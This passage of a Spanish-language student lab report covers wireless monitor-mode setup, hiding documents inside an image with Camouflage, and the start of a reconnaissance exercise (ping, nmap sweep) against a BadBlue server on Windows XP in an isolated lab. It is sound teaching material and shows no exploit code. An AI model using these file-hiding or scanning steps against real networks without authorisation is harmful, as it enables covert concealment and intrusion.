de modulos del kernel (/lib/modules/$(uname -r)/kernel/drivers/net/wireless/) y actualiza las

dependencias de los modulos, permitiendo que el sistema lo reconozca en futuros reinicios.

A continuacién, con sudo modprobe 8188eu se carg6 el modulo en el kernel, activando el
controlador y dejando listo el adaptador inalambrico TP-Link TL-WN722N (chipset Realtek

RTL8188eus) para su uso, incluyendo el modo monitor.



7.7.3.2 Preparacion de la interfaz

stop NetworkManager

~

link set wlan@ down

~

start wlan

Found 1 processes that could cause trouble.

Kill them using ‘airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
855 wpa_supplicant

Requested device "wlan” does not exist.
Run /usr/sbin/airmon-ng without any arguments to see available interfaces

Figura 246. 1.1.1 Preparacion de la interfaz

Después de compilar el controlador, se ejecuté sudo make install para instalar el modulo
8188eu.ko en el sistema y actualizar las dependencias del kernel, asegurando que fuera
reconocido en futuros reinicios. A continuacion, con sudo modprobe 8188eu se cargo el
modulo, dejando el adaptador TP-Link TL-WN722N (chipset Realtek RTL8188eus) listo para su

uso.

Para preparar la tarjeta para el modo monitor, se detuvo el servicio NetworkManager con
sudo systemctl stop NetworkManager y se desactivo la interfaz wlan0 mediante sudo ip link
set wlan0 down, evitando interferencias. Luego, se ejecuté sudo airmon-ng check kill, que
finaliza procesos que podrian interferir con la captura de paquetes (como servicios de red o
demonios de gestion de Wi-Fi), asegurando que la tarjeta funcione correctamente en modo

monitor.



7.7.3.3 Activacion del modo monitor

check kill

Killing these processes:

PID Name
855 wpa_supplicant

start wlan@

PHY Interface Driver Chipset

phy® wland rtl xu TP-Link TL-WN
Us]
(monitor mode enabled)

Figura 247. Activacion del modo monitor

Finalmente, sudo airmon-ng start wlan0 activ6 el modo monitor, creando la interfaz

wlanOmon capaz de capturar todo el trafico inaldmbrico, lista para analisis y auditoria de redes.

Verificacion

lo no wireless extensions.

ethe no wireless extensions.

wlan@

Figura 248. Realizamos la verificacion

Una vez activado el modo monitor en la interfaz inalambrica, se utilizé el comando
iwconfig para comprobar su estado y configuracion. Este comando muestra informacion

detallada sobre las interfaces de red inalambricas, incluyendo:



e El nombre de la interfaz y su modo de operacion (por ejemplo, Monitor o

Managed).

o Lafrecuencia o canal en el que esta operando.

o La potencia de la sefial y otras estadisticas de conexion.

Con iwconfig se verifico que la tarjeta TP-Link TL-WN722N (chipset Realtek
RTL8188eus) habia sido correctamente puesta en modo monitor (wlanOmon) y estaba lista para
capturar paquetes de red, confirmando que todos los pasos previos de instalacion y configuracion

se habian ejecutado correctamente.



8. Capitulo 8: Ocultacion de Archivos Con Camouflage y Auditoria de Vulnerabilidades

Del Servidor Badblue en Windows XP utilizando Kali Linux Como Maquina Atacante

8.1.Introduccion
El presente informe documenta de manera clara y ordenada el proceso realizado en la
practica de laboratorio, donde se llevo a cabo la identificacion, analisis y explotacion de
vulnerabilidades en una maquina virtual objetivo (Windows XP con BadBlue) y, a la vez, la
aplicacion de técnicas de ocultacion de archivos usando el software Camouflage. Todas las
pruebas se ejecutaron dentro de un entorno de red configurado en VirtualBox, con maquinas

aisladas para garantizar que la actividad fuera segura y de carécter exclusivamente académico.

Durante la practica se emplearon herramientas como Nmap (para reconocimiento y
enumeracion de servicios), searchsploit (para localizar exploits relevantes), scripts en Perl
obtenidos de repositorios de exploits, y utilidades como netcat para gestionar listeners y validar
post-explotacion. Paralelamente, se trabajo con VirtualBox para el montaje de carpetas
compartidas y con Camouflage para insertar y recuperar documentos dentro de imagenes,

verificando la integridad y el comportamiento de los artefactos generados.

El objetivo de esta actividad fue aplicar de forma préctica los conceptos de
ciberseguridad ofensiva vistos en clase: reconocimiento activo de la red, identificacion de
servicios y versiones vulnerables, busqueda y preparacion de exploits, ejecucion controlada de
payloads y la extraccion de informacion en un entorno controlado. Todo el trabajo se realizo
siguiendo criterios €ticos y con la autorizacion del docente, poniendo énfasis en la
documentacion de los pasos, la trazabilidad de las acciones y las recomendaciones para mitigar

los riesgos detectado.



8.2.Alcance

El informe abarca un periodo de trabajo de cuatro dias, comprendido entre el jueves 2 de
octubre de 2025, finalizando ante dela clase siguiente, cuya fecha limite establecida para la
entrega oficial del documento fue el jueves 9 del mismo mes. Durante este tiempo se realizaron
las configuraciones de las maquinas virtuales en VirtualBox, la instalacion de las herramientas
necesarias (Nmap, Camouflage, searchsploit y netcat), la ejecucion de las pruebas de
reconocimiento, explotacion y ocultacion de archivos, asi como la recopilacion de evidencias
mediante capturas de pantalla, salidas de comandos y registros del proceso. Toda la informacién
obtenida fue organizada y sistematizada en este informe con el proposito de documentar el
procedimiento de manera detallada y servir como material de apoyo para futuras evaluaciones o

practicas similares.



8.3.0bjetivos
8.3.1 General
Realizar una prueba practica y controlada en un entorno académico virtualizado que
combine técnicas de ocultacion de informacion y auditoria de vulnerabilidades empleando el
software Camouflage para camuflar y recuperar archivos dentro de iméagenes, y aplicar
herramientas de reconocimiento y explotacion con Kali Linux del servidor BadBlue en
Windows XP, con el fin de identificar, documentar y proponer recomendaciones sobre las

debilidades encontradas.

8.3.2 Especificos

e Localizar exploits y scripts relevantes (por ejemplo mediante searchsploit), revisar
y adaptar el cddigo cuando sea necesario, y preparar el entorno de ejecucion
(listeners, rutas, permisos) para pruebas de explotacion controladas.

e Ejecutar el proceso de camuflaje: insertar documentos (PDF, Word) dentro de una
imagen con Camouflage, protegerlos mediante contrasefa, y verificar su
recuperacion (uncamouflage), documentando diferencias observables (p. ej.
tamafo de archivo).

e Llevar a cabo una explotacion controlada del servicio vulnerable (BadBlue)
unicamente en el entorno autorizado, documentando cada paso: comando usado,
salida obtenida, comportamiento del exploit y evidencias de éxito o fallo.

e Registrar y organizar todas las evidencias (capturas de pantalla, salidas de
comandos, archivos de configuracion y scripts), redactar hallazgos técnicos y

proponer medidas de mitigacion practicas (actualizacion, control de acceso.



8.4.Planteamiento Del Problema
En un entorno cada vez mas digitalizado e interconectado, organizaciones, instituciones
educativas y usuarios particulares dependen en gran medida de sistemas informaticos que
ofrecen multiples servicios en red. Esta dependencia amplia la superficie de ataque, es decir, los
puntos potencialmente explotables por un atacante y, aunque las tecnologias avanzan, persisten
servicios con configuraciones débiles, versiones obsoletas o vulnerabilidades conocidas que, si

no se detectan y corrigen a tiempo, pueden ser aprovechadas con relativa facilidad.

En el contexto formativo, resulta esencial que los estudiantes consoliden los
conocimientos tedricos mediante practicas controladas que simulen escenarios reales. No
obstante, realizar ejercicios de analisis y explotacion sobre sistemas productivos reales plantea
riesgos legales, éticos y operativos. Por ello, el uso de entornos virtualizados (maquinas virtuales
aisladas y recursos como VirtualBox) y aplicaciones para la practica responsable (por ejemplo,
software de ocultacion de archivos y méaquinas vulnerables de laboratorio) se convierte en una

necesidad para la ensefianza segura de técnicas de ciberseguridad ofensiva.

A pesar de la disponibilidad de entornos de practica, se observa que muchos estudiantes
presentan dificultades para aplicar de manera correcta y metodoldgica las herramientas de
reconocimiento y explotacion: desde la configuracion de redes virtuales y el montaje de carpetas
compartidas, hasta la identificacion precisa de servicios vulnerables (por ejemplo, servidores
antiguos como BadBlue sobre Windows XP), la localizacion y adaptacion de exploits, y la
gestion segura de payloads y evidencias. Este desconocimiento puede generar practicas
incompletas, inseguras o poco replicables, que no cumplen con los objetivos educativos ni con

los estandares éticos del hacking de penetracion.



Ademas, la incorporacion de técnicas complementarias como la ocultacion de
informacion dentro de archivos mediante herramientas tipo Camouflage introduce otro ambito de
analisis relevante para la seguridad digital: entender como se pueden esconder artefactos dentro
de objetos aparentemente inofensivos y como detectar o mitigar estas técnicas. La falta de
practica guiada en estos procedimientos limita la comprension integral de riesgos asociados a la

gestion de archivos compartidos y al control de acceso en entornos virtualizados.

En respuesta a estas carencias, este informe documenta de forma ordenada y practica un
ejercicio académico realizado en un entorno aislado: configuracion del laboratorio en
VirtualBox, transferencia e instalacion de herramientas, reconocimiento de la red y servicios
mediante Nmap, busqueda y preparacion de exploits con searchsploit, ejecucion controlada de
pruebas de explotacion sobre un servidor BadBlue en Windows XP y practicas de
camuflaje/descamuflaje con Camouflage. El propdsito es ofrecer una guia replicable que
fortalezca las competencias técnicas de los estudiantes, fomente metodologias seguras y éticas en
pruebas de penetracion, y sirva como base para propuestas de mitigacion que reduzcan la

exposicion a amenazas reales.



8.5.Subcapitulo 1: Proceso para camuflar archivos por medio del software Camuflate
El jueves 1 de octubre de 2025, en la clase de auditoria de redes se estudio la forma de
camuflar archivos dentro de otros archivos, el siguiente informe mostrara el paso a paso que

seguimos para lograr este fin.

8.5.1 Activamos la carpeta compartida

Antes de comenzar a camuflar nuestros archivos debemos tener archivos, asi que lo
primero que hice fue activar una carpeta compartida, esta me permitiria poder pasar archivos de
mi maquina virtual xp a mi pc fisico y viceversa, asi que lo primero que hice fue crear una

carpeta

(] Nombre > Estado Fecha de modificacion  Tipo Tamafio

docu-mMv a 6/10/2025 12:24 p. m.  Carpeta de archi...

Figura 249. Creamos nuestra carpeta compartida

Luego de mi carpeta llamada docu-MV en mi pc fisico, me fui a la maquina virtual a
realizar el siguiente paso, esto es importante porque me permitird compartir distintos tipos de
archivo a mi maquina virtual Windows xp, ya que es el paso que vinculara esta carpeta a esa

maquina.

Lo segundo que hice fue ingresar en VirtualBox, ingresé mi maquina virtual cuando
estuve ahi me fui a la parte superior y en la configuracion de mi méaquina virtual le di al apartado

de dispositivos y luego carpeta compartida.



1do] - Oracle VirtualBox
Entrada Dispositivos  Ayuda

(=) Unidades épticas 4
{88 Audio g
=P Red 4
£ usB ’
[l carpetas compartidas g
[C] Portapapeles compartido 4
[ZY Arrastrar y soltar g
& Insertar imagen de CD de los complementos del invitado...

7 Upgrade Guest Additions...

Figura 250. Configuramos la carpeta compartida en XP desde VirtualBox

Luego le di a preferencias de carpetas compartidas

] - Oracle VirtualBox
Entrada Dispositivos Ayuda

Unidades 6pticas »
Audio »
Red »
USB »

oD Dea&EE

Carpetas compartidas » Preferencias de carpetas compartidas...
Portapapeles compartido 4
Arrastrar y soltar [2

Insertar imagen de CD de los complementos del invitado...

SN

Upgrade Guest Additions...

Figura 251. Le damos en preferencias de carpetas compartidas

Después que le di clic a este apartado me sali6 en el apartado de configuraciones dentro
de mi méaquina de XP lo siguiente que hice fue bajar hasta la parte de carpetas compartidas y

aqui agregué la ruta de mi carpeta compartida



{23 WINDOWS XP - Settings
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Sistema
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Almacenamiento
(D] Frt Carpetas compartidas

Nombre Ruta Acceso Automontar  En =
ﬂ Red Carpetas de la maquina
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lf‘ Interfaz de usuario
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Archiva '™ Maauina ¥ Ver ¥ Fntrada ¥ Disnasitivos ¥ Denurar ™ Avuda ™ .l

Cancelar Ayuda

PSR

Figura 252 .Afiadimos nuestra carpeta compartia en settings

Para afiadir mi carpeta compartida lo primero que hice fue agregarla en donde se
encontraba dicha carpeta en mi maquina fisica para ello le di en ruta de carpeta luego en otro lo

que me llevé a buscar la ruta en donde estaba la carpeta compartida

=) Afiadir carpeta compartida >

Ruta de carpeta: <no seleccionado= F

" Nombre de carpeta: <no seleccionado> .
ﬂ Ea Otro... |

Punto de montaje: Muestra una vent;

[ sélo lectura
[ automontar

(] Hacer permanente

Aceptar Cancelar

Figura 253. Hacemos el proceso de agregar la ruta

La imagen anterior muestra como hicimos el proceso de agregar la ruta



B seleccionar carpeta *
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« v « Ose. » 3-Seguridasy .. v O Buscar en 3-Sequridas y ... R
N
. Organizar v Nueva carpeta = - o
~ g Victor Manuel, MNombre " Estado Fecha de modificacin
> Archivos de ¢ | docu-MV Q 6/10/2025 12:24 p. m.
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» Datos adjunt i
> @~ Documentos |
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> @ Imégenes

! Carpeta: docu-MV

Seleccionar carpeta Cancelar

Figura 254. Muestra de la carpeta que se encontraba en la ruta

La imagen anterior muestra la carpeta que se encontraba en la ruta
C:\Users\LOCOMPU\OneDrive - UNIVERSIDAD TECNOLOGICA DEL CHOCO
DIEGO LUIS CORDOBA\Escritorio\9 semestre\3-Seguridas y Auditoria de redes\docu-

VM, esta fue la carpeta qué creamos inicialmente para que fuese nuestra carpeta compartida

() WINDOWS XP - Settings = m] % 1
Basic M Search settings £
E General
Sistema
@ Pantalla
Almacenamiento
Carpetas compartidas
@0 audio =
Nombre Ruta Acceso Automontar En @
@ Red Carpetas de la maquina
~  Carpetas transitorias r=)
@ Puertos serie docu-MY__ C:\Users\LOCOMP..itoria de redes\docu-MV_Completo
l___l Carpetas compartidas
El Interfaz de usuario
Interfaz de usuario
Archive ¥ MAmiina ¥ Ver ¥ Fntrada ¥ Disnositivas ¥ Denurar ¥ Awida ¥ a
Cancelar Ayuda I
i

Figura 255.Ruta agregada Exitosamente

aqui muestro la carpeta con su ruta y luego de hacer esto le dimos a aceptar para guardar

nuestra ruta



&3 Afadir carpeta compartida >

Ruta de carpeta:  C\User.. redes\docu-Mv

Mombre de carpeta: docu-My

Punto de montaje:

[ sélo lectura
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@ Hacer permanente

Aceptar Cancelar

Figura 256. Visualizacion preliminar de lo hecho y aceptacion de la ruta

Luego de darle aceptar me sali¢ lo que muestra la anterior figura lo que se hizo fue auto
montar esta carpeta y le dimos en hacer permanente luego presionamos el boton de aceptar, el

apartado de punto de montaje lo dejamos en blanco.

8.5.2 Agregamos la carpeta a XP desde mi pc

S\ Internet J\ Mis documentos
Internet Explorer

. _— 5 bDocumentos recientes »
@ Correo electrénico

Outlook Express ﬁ Mis imagenes

- SR
CEW Simbolo del sistema =/ Mi masica
WE mirc
.

@ Panel de Proporciona acceso e informacion acerca de unidades de disco, camaras,
@ Reproductor de Windows

escaneres y otro hardware conectado a su equipo.

Media Configurars oy
programas predeterminados
'@ Paseo por Windows XP hoty 3
{2 Impresoras y faxes

5 Asistente para transferencia .
de archivos v configuracio. .. @ Ayuda y soporte tecnico

3 BadBlue Personal Edition I) Buscar

7~ Ejecutar...

Todos los programas D

@]Cervar: ion '(D|;'4pagarequip.:.

/> BadBlue: the file-shar... e CIWINDOWSisyste. .,

7

+4 Inicio

Figura 257. Ingresamos al apartado de mi pc en XP



Para poder ver la carpeta compartida fui a inicio, después al apartado mi PC para luego
ver las unidades de disco duro y los dispositivos de almacenamiento extraible qué estaban en mi

maquina virtual de XP.

Archivo  Edicion  Ver Favoritos  Herramientas  Ayuda a.
Q Atrés -\_/\1 l’i p Bisqueda u_i‘ Carpetas v
Direccion ﬂ Mi PC v‘ &

Archivos almacenados en este equipo
Tareas del sistema

ver informacidn del sistema ‘j Documentos compartidos IJ Documentos de Yeco
l‘, Agregar o quikar programas L |

(B Cambiar una configuraciin
Unidades de disco duro

Otros sitios .
W Disco local {C:)
& Mis sitios de red

() Mis documentos
[C3) Documentns compartidos Dispositivos con almac iento extraible

3 Panel de contral o
% WirkualBox Guest Additions (D)

Detalles

MiPC
Carpeta del sistema

+s Inicio tul B &)T 1m0s

Figura 258. dispositivos de almacenamiento extraible

Si bien el apartado de mi PC mostrar varios campos el que me interesaba realmente era el
de dispositivos de almacenamiento extraible aqui no sali6 el dispositivo llamado virtual box
guest addtions (D: ) En este dispositivo se encontraba nuestra carpeta compartida por lo que

procedemos a darle doble clic.



Tareas del sistema

Ver informacion del sf
T Agregar o quitar pro
(3 Cambiar una configul

Otros sitios

N His sitios de red
() Mis documentos

[ Documentos compar
B Panel de control

Detalles

MiPC
Carpeta del sistema

@ =
/3 Biisqueda W= Carpetas v

Oracle VirtualBox Guest Additions 7.1.12 Setup

Welcome to Oracle VirtualBox Guest
Additions 7.1.12 Setup

Setup will quide you through the installation of Oracle
VirtualBox Guest Additions 7.1.12.

Itis recommended that you close all other applications
before starting Setup. This wil make it possible to update
relevant system files without having to reboot your
computer.,

Click Next to continue.

“72 Inicio

Oracle VirtualBox

s &)° 19:07

B
& x|

Ir

Figura 259. Configuramos la carpeta como disco extraible

VirtualBox actions setup aqui le dimos en el boton de next.

|| Archiva Ediién Ver Favortos Herramientas  Ayuda

10+ - ©

¥ O visads [ cometas | [0+

Al darle doble clic me salio el siguiente pestafia dandonos la bienvenida Oracle

X

Direccion | § Mipc

Tareas del sistema

ver informacién del sistema
25 Agregar o quar programas

@ Canbior na corfiuracién

Otros sitios

& s stios de red
Mis documentas
Documentos compartidos
B Panel de contral

Detalles

MiPC
Carpeta del sistema

Archivos almacenados en este equipo

Ilj Documentos compartidos

Unidades de disco duro

Ilj Documentos de Yeco

g owcobaal (€)

Dispositivos con almacenamiento extraible

‘,‘g VirkualBiox Guest Additions (0}

Unidades de red

i docu M en “VBoxSur (2:)

Figura 260.Nos salio la unidad donde estd nuestra carpeta docu-VM

Después de un rato de que cargara esto no sali6 la unidad doénde estd nuestra carpeta
docu-VM, por como lo veo yo esto es un tinel de red que nos permite compartir archivos desde

una carpeta a otra nuestra maquina virtual por medio de una conexion de red.



8.5.2.1 Agregamos archivos a la carpeta Compartida

Después de realizar este paso a paso probamos anexar archivos a XP, luego revisamos

que los archivos anexados a nuestra carpeta compartida hoy se pudieran descargar desde hoy

nuestra maquina virtual.

docu-MV

é

@ MNuevo

> @l Escritorio

» Grabaciones
>°E Imagenes

» trabajos

Desktop |

]

X +
@ Error > Escritorio > 9semestre > 3-Seguridas y Auditoria de redes > docu-MV
T Ordenar = Ver

Nombre Estado Fecha de modificacién = Tipo Tamafio

Clase 2 Oct 2025 <] J10/2025 12:24 p. m.  Carpeta de archi...
|j config-MW. bt [] 2/10/2025 10 a. m Documento de t.. 0 KB
descargar.png [x] 2/08/2025 2:43 p.m.  Archivo PNG 2.270 KB
@ Informe de laboratorio #05 Semes... @ 28/09/2025 1:47 a. m. Documento de ... 5.618 KB
@ Informe de laboratorio #05 Semes... @ 29/09/2025 1:47 a.m.  Microsoft Edge ... 3.282 KB

Figura 261. Agregamos lo Archivos

Siendo mas especifico en la carpeta docu-MV agrega 6 archivos hubo una carpeta

>

llamada clase dos octubre 2025, un archivo tipo texto llamado config-MV, una imagen llamada

descarga y dos informes 1 en formato Word editable y otro en Formato PDF.

Clase 2 Oct 2025

¢ 0

@ Nuevo

> @l Escritorio

» Grabaciones
>°E Imagenes

» trabajos

Desktop

4 Descargas

] ® Error >

X +

0 MNombre
B 5.0_AdbeRdrs0_en_US.exe
2 badblue-pe-2.72a.exe
E@ Camoulzi.exe
internet-explorer-§-para-xp-.exe

A, vic-3.0.18-win32.exe

9 semestre >

3-Seguridas y Auditoria de redes > docu-MV >
Tl Ordenar = Ver -
Estado Fecha de modificacion  Tipo Tamafo
[ ] 9/06/2023 5:33 p. m. Aplicacién 21311 KB
[ ] 17/11/2022 407 p. m.  Aplicacidn 704 KB
[ ] 26/05/2022 325 a. m.  Aplicacién 2.655 KB
[ %] 19/10/2023 11:38 a Aplicacién 16.583 KB
[x] 28/12/2022 1:03 p. m.  Aplicacién 41.731 KB

Figura 262. Archivos dentro de la carpeta Clase 2 octubre

Clase 2 Oct



Por su parte, la carpeta clase dos octubre 2025 contaba con 5 archivos de los cual se

destacaba Adobe Flash player, Internet Explorer 8 para XP, VLC Studio, camou y badblue.

o= docu-MV¥ en “VBoxSvr” (Z:)

Archivo  Edicidn  Wer Favoritos  Herramientas  Ayuda

@Atrés - e - L@ pBL'lsqueda H__" Carpetas v

Direccion (S8 2:\

~ = config-My
Tareas de archivo y carpeta A —=| Daocumenta de texta
1= OKE
Iﬂ Cambiar nombre a esta carpeta
@ Mower esta carpeta descargar '~ Informe de laboratorio #05
. 1024 x 1536 Semestre I¥ Wickar Manuel Lon. ..
Copiar esta carpeta Imagen PMG ‘Mawe Fdobe Acrobat Document

@ Publicar esta carpeta en eb
Informe de laboratorio 05
Semestre I3 Yickor Manuel Lon, ..
Archivo DOCE

Ej Enviar paor corren electrdnica los
archivos de esta carpeta

x Eliminar esta carpeka

Figura 263. Buscamos los archivos en XP

Para poder mirar estos archivos desde nuestro otra maquina virtual de Windows XP
debemos ir a mi PC y ingresar a el almacenamiento de red que ¢l donde estd almacenada nuestra

carpeta compartida la foto anterior muestra los archivos desde Windows XP en la carpeta docu-

VM.

™ Clase 2 Oct 2025 [E0[(=E

Archivo  Edicidn  Ver Favorltos  Herramientas  Ayuda ﬂ'

e.qtrés - lj} pﬁﬂsqueda [y cametas | [T~

Direccién | £ 2AClase 2 Oct 2025 ~ Br
5.0_AdbeRdr80_en_US -j3: badblue-pe-2.72a
'j Crear nueva carpeta =

e Publicar esta carpeta en Web = inkernet-explorer-8-para-xp-
Camouizi Archivo.cab autoextrable
Microsoft Corporation

Otros sitios a

‘ vlc-3.0,18-win32
S docu-MY en "WBoxEwr (73] &
Mis documentos

Tareas de archivo y carpeta

|3 Documentos compartidos

i MiPC

W Mis sitios da red

Detalles

Figura 264. Programas contenidos en la carpeta dada por el profe



Por otro lado, esta imagen muestra los archivos de la carpeta clase 2 de octubre En
Windows XP aqui evidenciamos que todo funciona correctamente y la carpeta de archivos

compartidos muestra los archivos que en su efecto se estan compartiendo.

8.5.3 Instalacion de programas importados desde el pc fisico incluido camouflage
Ya habiendo importado los programas de la carpeta clase dos procedemos a instalarlos 1 a
1 estos programas fueron proporcionados por el docente e ingeniero Sandoval Morales y ¢l

mismo nos solicitd qué los instalar por lo que procedi a instalarlos.

Figura 265. Instalamos Adobe Render

El primer programa que instale fue Adobe render o Flash Player ya que éste se podria
decir que es el predecesor de Adobe flash player por eso esta imagen anterior muestra parte de

esa instalacion.

Welcome

Whelcome to the Camauflags Setup program. This
piogiam wil install Camauflags on your computer.

Itis strongly recommended that you exit all Windows programs
before running this Setup program.

Click Cancel to quit Setup and then close any programs you
have unning. Click Next to continue with the Setup program,

WARNING: This pragiam is protected by copyricht law and
intemational tieaties.

Unauthorized reproduction or distibution of this program, ot any
portion of it. may result in severe civil and criminal penalties. and
will be prosecuted to the maxmum extent possible under law,

Figura 266. Instalamos Camouflage



Por su parte esta captura muestra la instalacion de nuestro aplicativo de camuflaje en la
computadora virtual, este sera el aplicativo que nos permitira camuflar datos dentro de otros
archivos y consideraria yo qué seria uno de los 2 aplicativo més importante de los que se

instalaron.

Abrir archivo - Advertencia de seguridad rX|

21
Mo se puede comprobar el fabricante. ;Esta seguro de que
desea ejecutar este software?

e Mombre: vlc-3.0.18-win32.exe
Fabricante: Fabricante desconocido

Tipa:  Aplicacién

De: Z:4(Clase 2 Ock 2025

Ejecutar ][ Cancelar

Este archivo no tiene ninguna fima digital valida que comprusbe su
fabricante. Sdlo ejecute software de los fabricantes en los que

confia. ¢Cdmo puedn decidir gué software debo ejscutar?

Figura 267. Instalamos VLC y los otros software faltantes.

Por ultimo, instalamos lo que vendria siendo el software del VLC, el software de badblue

y de Internet Explorer.

8.5.4 Identificacion de la cantidad de archivos que podemos camuflar en camou

8.5.4.1 ;Como se hace el proceso de camuflaje con Camouflage?

Enviar a
Cortar
Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Figura 268. Elegimos Los archivos a camuflar



Lo primero que tenemos que saber es como se realiza el camuflaje de archivos dentro de
distintos archivos en camou, para ello lo que hicimos fue realizar una practica en el salon que
consistio en tomar la imagen que guardamos en la carpeta compartida y dentro de esta hola
imagen guardamos los dos informes tanto en formato PDF como en formato Word editable tal

como lo muestra las siguientes imagenes.

Lo primero que hicimos fue seleccionar los dos archivos tanto en Word Como en PDF ,
estos archivos correspondeme al informe niimero 5 realizado luego de esto le dimos en siguiente

0 next.

Camouflage

Thesze filez will be hidden within pour camouflaged file.

M ame
i Infarme de laboratario #05 5emest chor Manuel L. 5.617 KB
| Informe de laboratorio $#05 Sermestre [ Victor Manuel L. 320 KB

Click here to get the latest version et > Cloze

Figura 269. Le damos en Next

Después de darle next, No sale el siguiente recuadro aqui elegiremos el archivo en donde
se camuflaran los archivos anteriormente elegidos, yo elegi la imagen que guardamos

inicialmente dentro de la carpeta compartida.



Camouflage

Chooze the location and filename for the camouflage file that i about to be created.

Create Thiz File ttingsh v ecohE scritorinhCaptura de pantalla 2025-08-23 030355

¥ Fead-only

Click here to get the latest version < Back I Mest > | Cloze

Figura 270. Agregamos la ruta en donde se va a camuflar

Luego se nos solicita ingresar una contrasefia para este caso la contraseifia sera la palabra

prueba

% Camouflage

Enter a security password for your camouflaged file if you wish.

Password

Verify Password

Click here ta get the latest version < Back Finish Close |

Figura 271. Configuramos la contraseiia

Por ultimo, al ingresar la contrasefia y darle al finalizar dos saldra un archivo o una
imagen en formato png, la cual tendra camuflado los anteriores archivos para des camuflar estos

archivos haremos lo siguiente.



iZaptura de
pankalla

Figura 272. Descamuflamos los archivos

para descargar los archivos simplemente tendremos que darle en el izquierdo y al
apartado de camuflar luego se nos creara una carpeta en la cual estardn anexados los dos archivos
no 13 que si bien hoy los archivos estan camuflados en dicha imagen se puede identificar ya que

el peso de la imagen tiende a aumentar.

Aqui haremos una demostracion entre la imagen original y la imagen con los archivos

camuflados

" Propiedades de Caplura de pantalis 2025-08-29 090 r? r*i

\ - .
:l Cacrs e parkala 20530039 0700% :] Caphura ds parkala 20250629 090355
Tpo de archiva Inagen PG Teo de wchwve: ragen NG
%0 b con; B Veor de mbgeoms v | Cambiar Se sbre con: &) Veor de msgenes y T
e W
Ulicackin: C\Doousments and Settings) YecolEscrbond Ltk P00 23 and SettingrlYeco|Escrtoro
Tarmako: 0,77 M8 (3.199.707 btes) Tans'o 04,5 KB (96,550 bytes)
Temafioendsco: 8,77 48 (9.208.732 bynes) Tomafo en dsco: 55,0 KB (50.112 bytes)
Creado yeves, 02 de octubre de 2025, 16:30:35 Cresdo: soves, 02 de ochubre de 2025, 16:30:35
odhcad Vieed, 29 Oy aceto de 2023, 160035 | Mednesdo: viermes, 29 do aesto de S, 160355
(o scoess poerves, 09 de octubre de 2025, 9136123 - - Sowves, 07 0o ochubre de 2025, 9:9:11
ftrbutos:  [V]S8o bectra oo bopconms avarcades. arvues: [ 54k b [Jocuke [Opciones avarcadss...
—~—————v = — —————
Pie———— r
:] ] Lol ) : Aceptar | Corcnly

Figura 273. Demostracion entre la imagen original y la imagen con los archivos camuflados

Ademas, Mostraré la imagen en donde se descamuflan los archivos antes camuflados.



8.5.5 Descamuflamos los archivos

Yista previa
Editar
Imnprimir

« B8 Camouflage
EaUncamouflage
Abrir con

Enviar a

5.0_AdD- g

Copiar

a Crear acceso directo

Eliminar
Cambiar nombre

Captura
pantalla

Propiedades

Figura 274. Damos clic izquierdo a la imagen y darle en la opcion uncamouflage.

El primer paso para el descamuflar es darle clic izquierdo y darle en la opcion

uncamouflage.

Select an output folder

Guardar en: r@ Escritorio

DMis documentos zlnforme de
a Mi PC Informe de
Documentos S is sitios de red Fnternet

e u Adobe Reader 8

@ Eﬁ YLC media player
() archivos

Escritorio () practica_laboratorio_3
= (CJUTCH-PRIVIL

(/) B8 5.0_adberdrs0_en_US
. = BadBlue Personal Edition
@ Camoul21 he folder where the files are to be extracted.
= BCaptura de pantalla 2025-08-29 090355
: E]Captura de pantalla 2025-08-29 090356 -
) config-My o Folder archi
E] descargar

<& I >

Mis documentos

Mis sitios de red  Nombre: IExlract files here L' Guardar
| ~| Cancelar

7

< Back FEinish Close

3.0_AdbeR.

Figura 275. Elegir el folder o la carpeta en donde queremos almacenar nuestros archivos



Luego que se nos abra el cual recuadro para elegir el folder o la carpeta en donde

queremos almacenar nuestros archivos en la carpeta de destino que queramos para mi caso yo

cree una nueva carpeta llamada archivos.

=]
archivo  Edicion  Wer  Favoritos  Herramientas  Ayuda |".'
Y AN &) o T
\_) \J l.@ P Busqueda l{__ arpetas
Direccion || C:iDocuments and Settings!y¥ecolEscritariol archivas b | Ir

207 x 401 . Adobe Acrobat Document

) ~ Captura de pankalla 2025-08-29 '~ Informe de laboratorio #05
Tareas de archivo y carpeta = ‘ 090355 Semestre I¥ ickor Manuel Lon...
hdobe

J Crear nuewva carpeta
% Informe de laboratorio #05
Semestre I: Wictor Manuel Lan, .,
===1 | Archivo DOCE

@ Publicar esta carpeta en Web
E}’ Cornparkit eska carpeta

Figura 276. Le doy hola guardar, luego finalizar y nuestros archivos anexaran a esta carpeta

por ultimo, le doy hola guardar, luego finalizar y nuestros archivos anexarén a esta
carpeta es importante saber que para el descamuflar los archivos de veremos utilizar la

contrasefia de qué configuramos o creamos anteriormente.

Tabla 7. cuantos archivos de cada tipo caben en camouflage

Tamano  JPG (500 Word (100 PDF (1000 EXE (50

Archivos (KB) KB) KB) KB) 000 KB)
PNG/ JP.G (imagen 2 000 4 20 2 0
mediana)
GIF animado / PDF 5000 10 50 5 0
grande
MP3 (audio) 10 000 20 100 10 0
EXE (ejecutable 50 000 100 500 50 1
grande)

MP4 (video) 100 000 200 1 000 100 2




8.6.Subcapitulo 2: Hacking ético de badblue

Antes de comenzar con cualquier intento de explotacion, necesitaba asegurarme de que la

maquina objetivo estuviera activa y accesible desde mi entorno de ataque. Asi que lo primero que

hice fue abrir mi terminal en Kali Linux y ejecutar el comando ping 192.1.1.7 este paso puede

parecer basico, pero es fundamental. Me permitié confirmar que la maquina con la IP 192.1.1.7

estaba encendida y conectada a la red.

8.6.1 Identificamos la IPy los servicios vulnerables de la maquina

8.6.1.1 Proceso de recopilacion de informacion

k.

Session

PING 192
bytes
bytes
bytes
bytes
byte
byte

Acciones Editar

.1.1.7 (192,
2.1.

from
from
from
from
from
from

root(@kali: fhomefkali

Vista Ayuda

Jhome/kali

1
7
-
0 E
7
7
7

]

LT T T T O

Figura 277. Probamos la comunicacion dando ping de una maquina a otra

Una vez confirmé que la maquina objetivo estaba activa, lo siguiente que necesitaba era

saber qué mas habia en la red. Asi que abri mi terminal en Kali y lancé un escaneo con Nmap

utilizando el comando nmap -sV 192.1.1.0/24 este comando me permiti6 escanear todo el rango

de IPs de la red local y ademas identificar qué servicios estaban corriendo en cada maquina. El

pardmetro -sV es clave, porque no solo me dice qué puertos estan abiertos, sino también qué

servicios estan detras de ellos.



/home/kali

Nmap scan repor
Host is up (0.@ .
